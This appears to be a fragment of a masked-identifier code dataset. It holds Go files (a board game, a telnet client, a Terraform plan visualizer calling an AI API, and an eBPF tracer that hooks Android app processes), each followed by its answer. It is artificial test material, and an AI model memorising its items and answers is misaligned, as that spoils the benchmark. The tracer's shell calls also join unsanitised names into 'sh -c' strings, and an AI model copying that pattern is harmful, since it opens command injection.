updating result in slice from the recursive method for some reason (not sure what) slice isn't behaving like mutable type as its giving empty value out of the recursive method scope. So using a custom type and adding slice into it. */ type traverseStore struct { traverseRes []*HexNode } /* Returns the connected cells from the nodePtr passed connected means: traversal is possible b/w nodes which have chip kept on them */ func (db *DvonnBoard) traverseConnectedNodes(nodePtr *HexNode) []*HexNode { res := &traverseStore{make([]*HexNode, 0)} db._traverse(nodePtr, res) return res.traverseRes } /* doing DFS from the node */ func (db *DvonnBoard) _traverse(nodePtr *HexNode, res *traverseStore) { // exit condition if nodePtr == nil || nodePtr.presentIn(res.traverseRes) || nodePtr.IsEmpty() { return } else { res.traverseRes = append(res.traverseRes, nodePtr) for _, node := range nodePtr.GetChildNodes() { db._traverse(node, res) } } } func (db *DvonnBoard) RemoveDisconnectedCells() { disconnectedCells := db.GetDisconnectedCells() for _, cell := range disconnectedCells { db.DeFill(cell) } } func (db *DvonnBoard) IsCellEmpty(id string) bool { if node, ok := db.cells[id]; ok { return node.IsEmpty() } log.Fatal(""[DvonnBoard.IsCellEmpty()] wrong identifier passed, id: "", id) return false } /* argument: source node id return: list of nodes where the chip stacks can be placed from the id passed in argument Solution: iterates over the node map in each of the six direction from the hexagonal node NOTE that maximum number of possible move for any Id can be 6, as there are 6 edges to the node, and nodes can be moved in any direction, but only along straight lines */ func (db *DvonnBoard) GetPossibleMoveFor(id string) []*HexNode { res := make([]*HexNode, 0) if node, ok := db.cells[id]; ok { // get possible adjacent nodes adjacentNodes := node.GetStraightAdjacentOnLevel(node.GetStackLength()) // check those places should not be empty for _, adjNode := range adjacentNodes { if !adjNode.IsEmpty() { res = append(res, adjNode) } } return res } log.Fatal(""[DvonnBoard.GetPossibleMoveFor()] wrong identifier passed, id: "", id) return nil } ",placeId 354,"package main import ( ""bufio"" ""fmt"" ""github.com/lixiangyun/go_telnet/telnet"" ""os"" ) func UserOutput(recv []byte) { TRY: begin, end := -1, -1 for i, v := range recv { switch v { case 27: begin = i case 'm': end = i case 7: recv[i] = ' ' } if begin != -1 && end != -1 && begin < end { if begin == 0 { recv = recv[end+1:] } else if end+1 >= len(recv) { recv = recv[0:begin] } else { recv = append(recv[0:begin], recv[end+1:]...) } //fmt.Println(""len:"", len(recv), recv) //fmt.Println(begin, end) goto TRY } } fmt.Print(string(recv)) } func UserInput(c *telnet.Client) { [MASK] := bufio.NewReader(os.Stdin) for { in, err := [MASK] .ReadBytes('\r') //fmt.Println(""Input:"", in) if err != nil { fmt.Println(err.Error()) } c.Write(in) } } func main() { args := os.Args if len(args) < 3 { fmt.Println(""Usage: "") return } IP := args[1] PORT := args[2] c := telnet.NewClient(IP, PORT) err := c.Connect(UserOutput) if err != nil { fmt.Println(err.Error()) return } go UserInput(c) c.Process() defer c.Delete() } ",input 355,"package main import ( ""bufio"" ""bytes"" ""context"" ""encoding/json"" ""fmt"" ""io"" ""net/http"" ""os"" ""os/exec"" ""os/signal"" ""runtime"" ""strings"" ""syscall"" ""time"" ) const visualizationPrompt = `I have a Terraform plan output in JSON format that shows infrastructure changes. Please create a comprehensive, interactive HTML visualization that displays: 1. **Summary Statistics**: Show total changes, creates, updates, and deletes in a visually appealing header with color-coded numbers 2. **Detailed Breakdown by Change Type**: - Group all deletions together with details about what's being removed - Show updates with before/after comparisons - List new resources being created - Use clear icons and color coding (red for delete, blue for update, green for create) 3. **Visual Requirements**: - Dark theme with good contrast - Hover effects on resource items - Color-coded badges for change types - Show old values in red with strikethrough or background, new values in green - Use monospace font for technical values like domain names, IDs, and configuration values 4. **Information to Display for EACH Resource**: - Resource type and name (e.g., aws_instance.example) - Full resource address - Key configuration changes (for updates show before → after) - For creates: show main configuration values - For deletes: show what configuration is being removed - Group related resources together when possible 5. **Special Formatting**: - Domain/URL changes with clear old→new formatting - Infrastructure consolidation details - Use expandable/collapsible sections for resources with many attributes - Show JSON values in a readable format (not raw JSON strings) CRITICAL: Make it easy to scan quickly but also include ALL the technical details. Every single resource in the JSON must be shown in the visualization. The visualization should help both technical and non-technical stakeholders understand what's changing. Output ONLY the complete HTML code with all CSS and JavaScript inline. Start with and create a single, self-contained file.` type anthropicStreamRequest struct { Model string `json:""model""` MaxTokens int `json:""max_tokens""` Messages []anthropicMessage `json:""messages""` Stream bool `json:""stream""` } type anthropicMessage struct { Role string `json:""role""` Content string `json:""content""` } type streamEvent struct { Type string `json:""type""` Delta struct { Text string `json:""text""` } `json:""delta,omitempty""` Message struct { Content []struct { Text string `json:""text""` } `json:""content""` } `json:""message,omitempty""` } func callAnthropicForVisualizationWithProgress(planData interface{}) error { apiKey := os.Getenv(""ANTHROPIC_API_KEY"") if apiKey == """" { return fmt.Errorf(""ANTHROPIC_API_KEY environment variable not set"") } // Create context with cancellation ctx, cancel := context.WithCancel(context.Background()) defer cancel() // Set up signal handling for Ctrl+C sigChan := make(chan os.Signal, 1) signal.Notify(sigChan, os.Interrupt, syscall.SIGTERM) defer signal.Stop(sigChan) // Handle cancellation in a goroutine go func() { select { case <-sigChan: fmt.Println(""\n\n🛑 Cancelling AI visualization generation..."") cancel() case <-ctx.Done(): return } }() fmt.Println(""\n🤖 Asking AI to explain your infrastructure changes..."") fmt.Println("" Press Ctrl+C to cancel"") fmt.Println(""━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"") // Convert plan data to JSON planJSON, err := json.MarshalIndent(planData, """", "" "") if err != nil { return fmt.Errorf(""error marshaling plan data: %w"", err) } // Always save the JSON being sent for debugging debugFile := ""terraform-ai-request.json"" os.WriteFile(debugFile, planJSON, 0o644) fmt.Printf(""📝 Debug: Saved request data to %s (%d bytes)\n"", debugFile, len(planJSON)) // Also save a sample to see structure if len(planJSON) > 1000 { sampleFile := ""terraform-ai-request-sample.json"" os.WriteFile(sampleFile, planJSON[:1000], 0o644) fmt.Printf(""📝 Debug: Saved sample (first 1000 bytes) to %s\n"", sampleFile) } // Show summary of what we're sending // Use reflection or convert to map to access the data jsonBytes, _ := json.Marshal(planData) var planMap map[string]interface{} json.Unmarshal(jsonBytes, &planMap) if summaryData, ok := planMap[""summary""].(map[string]interface{}); ok { fmt.Printf(""\n📊 Plan Summary:\n"") if total, ok := summaryData[""total""].(float64); ok { fmt.Printf("" • Total changes: %d\n"", int(total)) } if create, ok := summaryData[""create""].(float64); ok && create > 0 { fmt.Printf("" • ✚ Create: %d resources\n"", int(create)) } if update, ok := summaryData[""update""].(float64); ok && update > 0 { fmt.Printf("" • ~ Update: %d resources\n"", int(update)) } if delete, ok := summaryData[""delete""].(float64); ok && delete > 0 { fmt.Printf("" • ✗ Delete: %d resources\n"", int(delete)) } if replace, ok := summaryData[""replace""].(float64); ok && replace > 0 { fmt.Printf("" • ↻ Replace: %d resources\n"", int(replace)) } } fmt.Println(""\n🎨 Generating visualization..."") // Create the request with streaming enabled [MASK] := anthropicStreamRequest{ Model: ""claude-sonnet-4-20250514"", MaxTokens: 8192, Stream: true, Messages: []anthropicMessage{ { Role: ""user"", Content: fmt.Sprintf(""%s\n\nHere is the Terraform plan data to visualize:\n\n%s"", visualizationPrompt, string(planJSON)), }, }, } jsonBody, err := json.Marshal( [MASK] ) if err != nil { return fmt.Errorf(""error marshaling request: %w"", err) } // Make the API request with context req, err := http.NewRequestWithContext(ctx, ""POST"", ""https://api.anthropic.com/v1/messages"", bytes.NewBuffer(jsonBody)) if err != nil { return fmt.Errorf(""error creating request: %w"", err) } req.Header.Set(""Content-Type"", ""application/json"") req.Header.Set(""X-API-Key"", apiKey) req.Header.Set(""anthropic-version"", ""2023-06-01"") client := &http.Client{Timeout: 300 * time.Second} resp, err := client.Do(req) if err != nil { return fmt.Errorf(""error making request: %w"", err) } defer resp.Body.Close() if resp.StatusCode != http.StatusOK { body, _ := io.ReadAll(resp.Body) return fmt.Errorf(""API request failed with status %d: %s"", resp.StatusCode, string(body)) } // Process the streaming response var htmlContent strings.Builder scanner := bufio.NewScanner(resp.Body) progressChars := []string{""⠋"", ""⠙"", ""⠹"", ""⠸"", ""⠼"", ""⠴"", ""⠦"", ""⠧"", ""⠇"", ""⠏""} charIndex := 0 charCount := 0 fmt.Print(""\n"") for scanner.Scan() { // Check if context was cancelled select { case <-ctx.Done(): fmt.Println(""\n\n❌ AI visualization generation cancelled"") return fmt.Errorf(""cancelled by user"") default: // Continue processing } line := scanner.Text() // Skip empty lines if line == """" { continue } // Parse SSE data if strings.HasPrefix(line, ""data: "") { data := strings.TrimPrefix(line, ""data: "") // Skip the [DONE] message if data == ""[DONE]"" { continue } var event streamEvent if err := json.Unmarshal([]byte(data), &event); err != nil { continue } // Handle content delta if event.Type == ""content_block_delta"" && event.Delta.Text != """" { htmlContent.WriteString(event.Delta.Text) charCount += len(event.Delta.Text) // Show progress fmt.Printf(""\r%s Generating HTML... (%d characters) [Press Ctrl+C to cancel]"", progressChars[charIndex], charCount) charIndex = (charIndex + 1) % len(progressChars) } } } if err := scanner.Err(); err != nil { return fmt.Errorf(""error reading stream: %w"", err) } // Check if we were cancelled select { case <-ctx.Done(): return fmt.Errorf(""cancelled by user"") default: // Continue with normal flow } fmt.Printf(""\r✅ Generated HTML (%d characters) \n"", charCount) // Only proceed if we have content if htmlContent.Len() == 0 { return fmt.Errorf(""no HTML content generated"") } // Save the HTML to a temporary file tmpFile, err := os.CreateTemp("""", ""terraform-visual-*.html"") if err != nil { return fmt.Errorf(""error creating temp file: %w"", err) } defer tmpFile.Close() if _, err := tmpFile.WriteString(htmlContent.String()); err != nil { return fmt.Errorf(""error writing HTML: %w"", err) } fmt.Printf(""📄 Saved to: %s\n"", tmpFile.Name()) // Open the HTML file in the default browser fmt.Print(""🌐 Opening in browser..."") if err := openBrowser(tmpFile.Name()); err != nil { return fmt.Errorf(""error opening browser: %w"", err) } fmt.Println("" Done!"") fmt.Println(""\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"") fmt.Println(""✨ AI explanation generated successfully!"") fmt.Println(""\nPress ENTER to return to the TUI..."") // Use a channel to handle ENTER or cancellation done := make(chan bool) go func() { fmt.Scanln() done <- true }() select { case <-done: // User pressed ENTER case <-ctx.Done(): // User cancelled fmt.Println(""\nCancelled. Returning to TUI..."") } // Clear screen before returning to TUI fmt.Print(""\033[H\033[2J"") return nil } // Keep the original function for backward compatibility func callAnthropicForVisualization(planData interface{}) error { return callAnthropicForVisualizationWithProgress(planData) } func openBrowser(url string) error { var cmd string var args []string switch runtime.GOOS { case ""windows"": cmd = ""rundll32"" args = []string{""url.dll,FileProtocolHandler"", url} case ""darwin"": cmd = ""open"" args = []string{url} default: // linux and others cmd = ""xdg-open"" args = []string{url} } return exec.Command(cmd, args...).Start() } ",reqBody 356,"/* Copyright © 2022 NAME HERE */ package cmd import ( ""bufio"" ""context"" ""errors"" ""fmt"" ""io"" ""io/ioutil"" ""log"" ""os"" ""os/signal"" ""path"" ""stackplz/assets"" ""stackplz/user/config"" ""stackplz/user/event"" ""stackplz/user/event_parser"" ""stackplz/user/module"" ""stackplz/user/rpc"" ""stackplz/user/util"" ""strconv"" ""strings"" ""sync"" ""syscall"" ""github.com/spf13/cobra"" ""golang.org/x/exp/slices"" ) var Logger *log.Logger func NewLogger(log_path string) *log.Logger { if Logger != nil { return Logger } // 首先根据全局设定设置日志输出 Logger = log.New(os.Stdout, """", 0) if gconfig.LogFile != """" { _, err := os.Stat(log_path) if err != nil { if os.IsNotExist(err) { os.Remove(log_path) } } f, err := os.Create(log_path) if err != nil { Logger.Fatal(err) os.Exit(1) } if gconfig.Quiet { // 直接设置 则不会输出到终端 Logger.SetOutput(f) } else { // 这样可以同时输出到终端 mw := io.MultiWriter(os.Stdout, f) Logger.SetOutput(mw) } } return Logger } var gconfig = config.NewGlobalConfig() var mconfig = config.NewModuleConfig() var rootCmd = &cobra.Command{ Use: ""stackplz"", Short: ""打印堆栈信息,目前仅支持5.10+内核,出现崩溃请升级系统版本"", Long: ""基于eBPF的堆栈追踪工具,指定目标程序的uid、库文件路径和符号即可\n\t./stackplz --name com.sfx.ebpf --syscall openat -o tmp.log --debug"", PersistentPreRunE: persistentPreRunEFunc, Run: runFunc, } // cobra.Command 中几个函数执行的顺序 // PersistentPreRun // PreRun // Run // PostRun // PersistentPostRun func persistentPreRunEFunc(command *cobra.Command, args []string) error { // 在执行子命令的时候 上级命令的 PersistentPreRun/PersistentPreRunE 会先执行 var err error // 首先根据全局设定设置日志输出 dir, _ := os.Getwd() log_path := dir + ""/"" + gconfig.LogFile if gconfig.LogFile != """" { _, err := os.Stat(log_path) if err != nil { if os.IsNotExist(err) { os.Remove(log_path) } else { fmt.Printf(""stat %s failed, error:%v"", log_path, err) os.Exit(1) } } else { os.Remove(log_path) } } // 在 init 之后各个选项的 flag 还没有初始化 到这里才初始化 所以在这里最先设置好 logger logger := NewLogger(log_path) mconfig.SetLogger(logger) if !gconfig.NoCheck { // 先检查必要的配置 err = util.CheckKernelConfig() if err != nil { logger.Fatalf(""CheckKernelConfig failed, error:%v"", err) } } if gconfig.Btf { mconfig.ExternalBTF = """" } else { if !util.HasEnableBTF { // 检查平台 判断是不是开发板 gconfig.ExternalBTF = findBTFAssets() mconfig.ExternalBTF = gconfig.ExternalBTF } else { mconfig.ExternalBTF = """" } } // 这个操作有点耗时 内核版本符合要求的用不着检查 先不要这个操作 // 检查符号情况 用于判断部分选项是否能启用 // has_bpf_probe_read_user, err := findKallsymsSymbol(""bpf_probe_read_user"") // if err != nil { // logger.Printf(""bpf_probe_read_user err:%v"", err) // return err // } // if !has_bpf_probe_read_user { // logger.Printf(""!!! may not support for this machine, has no bpf_probe_read_user"") // } // 第一步先释放用于获取堆栈信息的外部库 exec_path, err := os.Executable() if err != nil { return fmt.Errorf(""please build as executable binary, %v"", err) } if gconfig.Debug { logger.Printf(""Executable:%s"", exec_path) } // 获取一次 后面用得到 免去重复获取 exec_path = path.Dir(exec_path) gconfig.ExecPath = exec_path if gconfig.SdkInt == 0 { gconfig.SdkInt = GetSdkInt() } if err = gconfig.RestoreAssets(); err != nil { return err } event.InitCLib() gconfig.InitLibraryDirs() if gconfig.Rpc { fmt.Printf(""rpc mode, listen path:%s\n"", gconfig.RpcPath) return nil } gconfig.ParseArgFilter() mconfig.Parse_Idlist(""UidWhitelist"", gconfig.Uid) mconfig.Parse_Idlist(""UidBlacklist"", gconfig.NoUid) mconfig.Parse_Idlist(""PidWhitelist"", gconfig.Pid) mconfig.Parse_Idlist(""PidBlacklist"", gconfig.NoPid) mconfig.Parse_Idlist(""TidWhitelist"", gconfig.Tid) mconfig.Parse_Idlist(""TidBlacklist"", gconfig.NoTid) mconfig.Parse_Namelist(""TNameWhitelist"", gconfig.TName) mconfig.Parse_Namelist(""TNameBlacklist"", gconfig.NoTName) mconfig.FullTName = gconfig.FullTName pis := util.Get_PackageInfos() // 根据 pid 解析进程架构、获取库文件搜索路径 for _, process_pid := range mconfig.PidWhitelist { process_uid := pis.FindUidByPid(process_pid) is_find, info := pis.FindPackageByUid(process_uid) if !is_find { logger.Printf(""can not find package for process_pid=%d"", process_pid) continue } addLibPath(info.Name) // 解析maps 将maps中的路径加入搜索路径中 search_paths, err := event.FindLibPaths(process_pid) if err != nil { return err } for _, search_path := range search_paths { if !slices.Contains(gconfig.LibraryDirs, search_path) { gconfig.LibraryDirs = append(gconfig.LibraryDirs, search_path) } } } // 根据 uid 解析进程架构、获取库文件搜索路径 for _, pkg_uid := range mconfig.UidWhitelist { if pkg_uid == 0 || pkg_uid == 1000 || pkg_uid == 2000 { continue } is_find, info := pis.FindPackageByUid(pkg_uid) if !is_find { return fmt.Errorf(""can not find pkg_uid=%d"", pkg_uid) } addLibPath(info.Name) } // 根据 pkg_name 解析进程架构、获取库文件搜索路径 pkg_names := strings.Split(gconfig.Name, "","") for _, pkg_name := range pkg_names { switch pkg_name { case """": case ""root"": mconfig.TraceGroup |= util.GROUP_ROOT case ""system"": mconfig.TraceGroup |= util.GROUP_SYSTEM case ""shell"": mconfig.TraceGroup |= util.GROUP_SHELL case ""app"": mconfig.TraceGroup |= util.GROUP_APP case ""iso"": mconfig.TraceGroup |= util.GROUP_ISO default: is_find, info := pis.FindPackageByName(pkg_name) if !is_find { return fmt.Errorf(""can not find pkg_name=%s"", pkg_name) } // 根据包名查找进程名 再获取库搜索路径 pid_list := FindPidByName(pkg_name) for _, pkg_pid := range pid_list { // 解析maps 将maps中的路径加入搜索路径中 search_paths, err := event.FindLibPaths(pkg_pid) if err != nil { return err } for _, search_path := range search_paths { if !slices.Contains(gconfig.LibraryDirs, search_path) { gconfig.LibraryDirs = append(gconfig.LibraryDirs, search_path) } } } // 对于system进程不添加uid mconfig.PidWhitelist = append(mconfig.PidWhitelist, pid_list...) if info.Uid != 1000 { mconfig.UidWhitelist = append(mconfig.UidWhitelist, info.Uid) } addLibPath(pkg_name) mconfig.PkgNamelist = append(mconfig.PkgNamelist, pkg_name) } } // 对于执行stackplz前处于运行状态的进程 保存maps util.SaveMaps(mconfig.PidWhitelist) // 后面更新map的时候不影响 列表不去重也行 mconfig.InitCommonConfig(gconfig) // 1. load config file if len(gconfig.ConfigFiles) == 0 { syscall_config_file := gconfig.GetSyscallConfigFile() Logger.Printf(""config file -> %s"", syscall_config_file) err = assets.RestoreAsset(exec_path, syscall_config_file) if err != nil { panic(err) } gconfig.ConfigFiles = append(gconfig.ConfigFiles, syscall_config_file) } mconfig.LoadConfig(gconfig) // 2. hook uprobe if len(gconfig.HookPoint) > 0 { err = gconfig.Parse_Libinfo(gconfig.Library, mconfig.StackUprobeConf) if err != nil { return err } err = mconfig.StackUprobeConf.Parse_HookPoint(gconfig.HookPoint) if err != nil { return err } u_syscall := mconfig.StackUprobeConf.GetSyscall(mconfig) if u_syscall != """" { gconfig.SysCall += "","" + u_syscall } } // 3. hook syscall mconfig.SysCallConf.Parse_Syscall(gconfig) // 4. watch breakpoint var brk_base uint64 = 0x0 if gconfig.BrkLib != """" { if gconfig.Pid == """" { return errors.New(""must set --pid when use --brk-lib option"") } value, err := strconv.ParseUint(gconfig.Pid, 10, 32) if err != nil { panic(err) } lib_info, err := event.FindLibInMaps(uint32(value), gconfig.BrkLib) if err != nil { return err } brk_base = lib_info.BaseAddr } if gconfig.BrkAddr != """" && strings.HasPrefix(gconfig.BrkAddr, ""0x"") { if gconfig.BrkLen <= 0 && gconfig.BrkLen > 8 { return errors.New(fmt.Sprintf(""BrkLen %d invaild, support [1, 8]"", gconfig.BrkLen)) } mconfig.BrkLen = gconfig.BrkLen mconfig.BrkPid = gconfig.BrkPid infos := strings.Split(gconfig.BrkAddr, "":"") if len(infos) > 2 { return errors.New(fmt.Sprintf(""parse for %s failed, format invaild"", gconfig.BrkAddr)) } if len(infos) == 2 { if infos[1] == ""r"" { mconfig.BrkType = util.HW_BREAKPOINT_R } else if infos[1] == ""w"" { mconfig.BrkType = util.HW_BREAKPOINT_W } else if infos[1] == ""x"" { mconfig.BrkType = util.HW_BREAKPOINT_X } else if infos[1] == ""rw"" { mconfig.BrkType = util.HW_BREAKPOINT_RW } else { return errors.New(fmt.Sprintf(""parse BrkType for %s failed, choose:r,w,x,rw"", infos[1])) } } else { return errors.New(""BrkType not set, choose:r,w,x,rw"") } addr, err := strconv.ParseUint(strings.TrimPrefix(infos[0], ""0x""), 16, 64) if err != nil { return errors.New(fmt.Sprintf(""parse for %s failed, err:%v"", gconfig.BrkAddr, err)) } mconfig.BrkAddr = brk_base + addr } // 检查hook设定 [MASK] := false if len(mconfig.StackUprobeConf.Points) > 0 { if gconfig.DumpRet { DumpSymbolRet() } [MASK] = true logger.Printf(""hook uprobe, count:%d"", len(mconfig.StackUprobeConf.Points)) } if mconfig.SysCallConf.Enable { [MASK] = true logger.Printf(""hook syscall count:%d"", len(mconfig.SysCallConf.SysWhitelist)) } if mconfig.BrkAddr > 0 { [MASK] = true if mconfig.BrkAddr&0xffff000000000000 > 0 { mconfig.BrkKernel = true } else { mconfig.BrkKernel = false } logger.Printf(""set breakpoint at kernel:%t, addr:0x%x, type:%d"", mconfig.BrkKernel, mconfig.BrkAddr, mconfig.BrkType) } if ! [MASK] { logger.Fatal(""hook nothing, plz set -w/--point or -s/--syscall or --brk"") } if gconfig.ParseFile != """" { parser := event_parser.NewEventParser() parser.SetLogger(logger) parser.SetConf(mconfig) parser.ParseDump(gconfig.ParseFile) } mconfig.DumpOpen(gconfig.DumpFile) return nil } func runFunc(command *cobra.Command, args []string) { stopper := make(chan os.Signal, 1) signal.Notify(stopper, os.Interrupt, syscall.SIGTERM) ctx, cancelFun := context.WithCancel(context.TODO()) if gconfig.Rpc { rpc.SetupRpc(ctx, Logger, gconfig) rpc.StartRpcServer(stopper, gconfig.RpcPath) os.Exit(0) } var runMods uint8 var runModules = make(map[string]module.IModule) var wg sync.WaitGroup var modNames []string if mconfig.BrkAddr != 0 { modNames = append(modNames, module.MODULE_NAME_BRK) } else if mconfig.SysCallConf.Enable { modNames = append(modNames, module.MODULE_NAME_PERF) modNames = append(modNames, module.MODULE_NAME_SYSCALL) } else if len(mconfig.StackUprobeConf.Points) > 0 { modNames = append(modNames, module.MODULE_NAME_PERF) modNames = append(modNames, module.MODULE_NAME_STACK) } else { Logger.Fatal(""hook nothing, plz set -w/--point or -s/--syscall or --brk"") } for _, modName := range modNames { // 现在合并成只有一个模块了 所以直接通过名字获取 mod := module.GetModuleByName(modName) mod.Init(ctx, Logger, mconfig) err := mod.Run() if err != nil { Logger.Printf(""%s\tmodule Run failed, [skip it]. error:%+v"", mod.Name(), err) os.Exit(1) } runModules[mod.Name()] = mod if gconfig.Debug { Logger.Printf(""%s\tmodule started successfully"", mod.Name()) } wg.Add(1) runMods++ } if runMods > 0 { Logger.Printf(""start %d modules"", runMods) go func() { scanner := bufio.NewScanner(os.Stdin) for { scanner.Scan() err := scanner.Err() if err != nil { Logger.Printf(""get input from console failed, err:%v"", err) syscall.Kill(syscall.Getpid(), syscall.SIGTERM) } input_text := scanner.Text() if input_text == ""c"" { event.LetItRun() } } }() <-stopper } else { Logger.Println(""No runnable modules, Exit(1)"") os.Exit(1) } cancelFun() for _, mod := range runModules { err := mod.Close() Logger.Println(""mod Close"") wg.Done() if err != nil { Logger.Fatalf(""%s:module close failed. error:%+v"", mod.Name(), err) } } wg.Wait() // 关闭打开的dump文件 mconfig.DumpClose() os.Exit(0) } func addLibPath(name string) { content, err := util.RunCommand(""pm"", ""path"", name) if err != nil { panic(err) } for _, line := range strings.Split(content, ""\n"") { parts := strings.Split(line, "":"") if len(parts) == 2 { // 将 apk 文件也作为搜索路径 apk_path := parts[1] _, err := os.Stat(apk_path) if err == nil { if !slices.Contains(gconfig.LibraryDirs, apk_path) { if gconfig.Debug { mconfig.GetLogger().Printf(""add lib_search_path => [%s]"", apk_path) } gconfig.LibraryDirs = append(gconfig.LibraryDirs, apk_path) } } // 将 apk + /lib/arm64 作为搜索路径 items := strings.Split(parts[1], ""/"") lib_search_path := strings.Join(items[:len(items)-1], ""/"") + ""/lib/arm64"" _, err = os.Stat(lib_search_path) if err == nil { if !slices.Contains(gconfig.LibraryDirs, lib_search_path) { if gconfig.Debug { mconfig.GetLogger().Printf(""add lib_search_path => [%s]"", lib_search_path) } gconfig.LibraryDirs = append(gconfig.LibraryDirs, lib_search_path) } } } } } func findBTFAssets() string { var utsname syscall.Utsname err := syscall.Uname(&utsname) if err != nil { fmt.Println(""Error:"", err) os.Exit(1) } btf_file := ""a12-5.10-arm64_min.btf"" if strings.Contains(util.B2S(utsname.Release[:]), ""rockchip"") { btf_file = ""rock5b-5.10-arm64_min.btf"" } Logger.Printf(""findBTFAssets btf_file=%s"", btf_file) return btf_file } func findKallsymsSymbol(symbol string) (bool, error) { find := false content, err := ioutil.ReadFile(""/proc/kallsyms"") if err != nil { return find, fmt.Errorf(""Error when opening file:%v"", err) } lines := string(content) for _, line := range strings.Split(lines, ""\n"") { parts := strings.SplitN(line, "" "", 3) if len(parts) != 3 { continue } if parts[2] == symbol { find = true break } } return find, nil } func DumpSymbolRet() { for _, point := range mconfig.StackUprobeConf.Points { if point.Symbol == """" { continue } content, err := util.RunCommand(""sh"", ""-c"", fmt.Sprintf(""readelf -s %s | grep %s"", point.LibPath, point.Symbol)) if err != nil { Logger.Printf(""warn, readelf parse for %s failed, lib:%s"", point.Symbol, point.LibPath) continue } var ( sym_num uint32 sym_value int64 sym_size int64 sym_type string sym_bind string sym_vis string sym_ndx string sym_name string ) lines := strings.Split(content, ""\n"") for _, line := range lines { line = strings.TrimSpace(line) if line == """" { continue } reader := strings.NewReader(line) n, err := fmt.Fscanf(reader, ""%d: %x %d %s %s %s %s %s"", &sym_num, &sym_value, &sym_size, &sym_type, &sym_bind, &sym_vis, &sym_ndx, &sym_name) if err == nil && n == 8 { ret_info, err := util.FindRet(point.LibPath, sym_value, sym_size) if err != nil || ret_info == """" { Logger.Printf(""FindRet for %s failed, sym:%s offset:0x%x"", point.Symbol, sym_name, sym_value) continue } else { Logger.Printf(""FindRet for %s -> [%s] sym:%s offset:0x%x"", point.Symbol, ret_info, sym_name, sym_value) } } } } os.Exit(0) } func FindPidByName(name string) []uint32 { var pid_list []uint32 content, err := util.RunCommand(""sh"", ""-c"", ""ps -ef -o name,pid,ppid | grep ^""+name) if err != nil { Logger.Printf(""warn, no running process of %s"", name) return pid_list } lines := strings.Split(content, ""\n"") for _, line := range lines { parts := strings.Fields(line) value, err := strconv.ParseUint(parts[1], 10, 32) if err != nil { panic(err) } pid_list = append(pid_list, uint32(value)) } return pid_list } func GetSdkInt() uint32 { var sdk_int uint32 = 29 content, err := util.RunCommand(""getprop"", ""ro.build.version.sdk"") if err != nil { Logger.Printf(""exec failed -> getprop ro.build.version.sdk"") return sdk_int } if string(content) == """" { return sdk_int } value, err := strconv.Atoi(string(content)) if err != nil { return sdk_int } return uint32(value) } // Execute adds all child commands to the root command and sets flags appropriately. // This is called by main.main(). It only needs to happen once to the rootCmd. func Execute() { // 异常时不显示帮助信息 只提示异常 因为帮助信息占据的版面太多 rootCmd.SilenceUsage = true rootCmd.CompletionOptions.DisableDefaultCmd = true err := rootCmd.Execute() if err != nil { os.Exit(1) } } func init() { cobra.EnablePrefixMatching = false // 过滤设定 rootCmd.PersistentFlags().Uint32Var(&gconfig.SdkInt, ""sdk-int"", 0, ""android os sdk int, optional"") rootCmd.PersistentFlags().StringVarP(&gconfig.Name, ""name"", ""n"", """", ""must set uid or package name"") rootCmd.PersistentFlags().StringVarP(&gconfig.Uid, ""uid"", ""u"", """", ""uid white list"") rootCmd.PersistentFlags().StringVarP(&gconfig.Pid, ""pid"", ""p"", """", ""pid white list"") rootCmd.PersistentFlags().StringVarP(&gconfig.Tid, ""tid"", ""t"", """", ""tid white list"") rootCmd.PersistentFlags().StringVar(&gconfig.NoUid, ""no-uid"", """", ""uid black list"") rootCmd.PersistentFlags().StringVar(&gconfig.NoPid, ""no-pid"", """", ""pid black list"") rootCmd.PersistentFlags().StringVar(&gconfig.NoTid, ""no-tid"", """", ""tid black list"") rootCmd.PersistentFlags().StringVar(&gconfig.TName, ""tname"", """", ""thread name white list"") rootCmd.PersistentFlags().StringVar(&gconfig.NoTName, ""no-tname"", """", ""thread name black list"") rootCmd.PersistentFlags().BoolVar(&gconfig.FullTName, ""full-tname"", false, ""disable default thread name black list"") rootCmd.PersistentFlags().StringArrayVarP(&gconfig.ArgFilter, ""filter"", ""f"", []string{}, ""arg filter rule"") rootCmd.PersistentFlags().BoolVar(&gconfig.AutoResume, ""auto"", false, ""auto resume when use --kill SIGSTOP"") rootCmd.PersistentFlags().StringVar(&gconfig.KillSignal, ""kill"", """", ""send signal when hit uprobe hook, e.g. SIGSTOP/SIGABRT/SIGTRAP/..."") rootCmd.PersistentFlags().StringVar(&gconfig.TKillSignal, ""tkill"", """", ""send signal to thread when hit uprobe hook, e.g. SIGSTOP/SIGABRT/SIGTRAP/..."") rootCmd.PersistentFlags().BoolVar(&gconfig.Rpc, ""rpc"", false, ""enable rpc"") rootCmd.PersistentFlags().StringVar(&gconfig.RpcPath, ""rpc-path"", ""127.0.0.1:41718"", ""rpc path, default 127.0.0.1:41718"") // 硬件断点设定 rootCmd.PersistentFlags().StringVar(&gconfig.BrkAddr, ""brk"", """", ""set hardware breakpoint address"") rootCmd.PersistentFlags().IntVar(&gconfig.BrkPid, ""brk-pid"", -1, ""set hardware breakpoint pid, just keep default"") rootCmd.PersistentFlags().StringVar(&gconfig.BrkLib, ""brk-lib"", """", ""as library base address, work with -p/--pid option"") rootCmd.PersistentFlags().Uint64Var(&gconfig.BrkLen, ""brk-len"", 4, ""hardware breakpoint length, default 4, support [1, 8]"") // 缓冲区大小设定 单位M rootCmd.PersistentFlags().Uint32VarP(&gconfig.Buffer, ""buffer"", ""b"", 8, ""perf cache buffer size, default 8M"") rootCmd.PersistentFlags().Uint32Var(&gconfig.MaxOp, ""maxop"", 64, ""max operation count for uprobe, at least 192 for string array"") // 堆栈输出设定 rootCmd.PersistentFlags().BoolVar(&gconfig.JavaStack, ""jstack"", false, ""try parse java stack"") rootCmd.PersistentFlags().BoolVar(&gconfig.ManualStack, ""mstack"", false, ""manual parse stack"") rootCmd.PersistentFlags().BoolVar(&gconfig.UnwindStack, ""stack"", false, ""enable unwindstack"") rootCmd.PersistentFlags().Uint32VarP(&gconfig.StackSize, ""stack-size"", """", 8192, ""stack dump size, default 8192 bytes, max 65528 bytes"") rootCmd.PersistentFlags().BoolVar(&gconfig.ShowRegs, ""regs"", false, ""show regs"") rootCmd.PersistentFlags().BoolVar(&gconfig.GetOff, ""getoff"", false, ""try get pc and lr offset"") // 日志设定 